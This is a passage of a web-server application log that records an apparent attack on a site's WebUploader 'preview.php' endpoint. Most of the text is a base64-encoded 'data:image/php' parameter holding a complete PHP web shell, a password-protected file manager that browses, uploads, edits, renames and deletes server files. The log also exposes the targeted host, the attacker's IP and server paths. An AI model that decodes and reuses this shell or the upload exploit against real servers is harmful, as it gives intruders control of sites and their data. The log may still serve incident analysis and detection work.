IC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'public' => 'js', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:04+08:00 ] 119.42.146.234 POST 51tianwei.com/static/common/js/webuploader/0.1.15/server/preview.php [运行时间:0.002636s] [吞吐率:379.37req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXM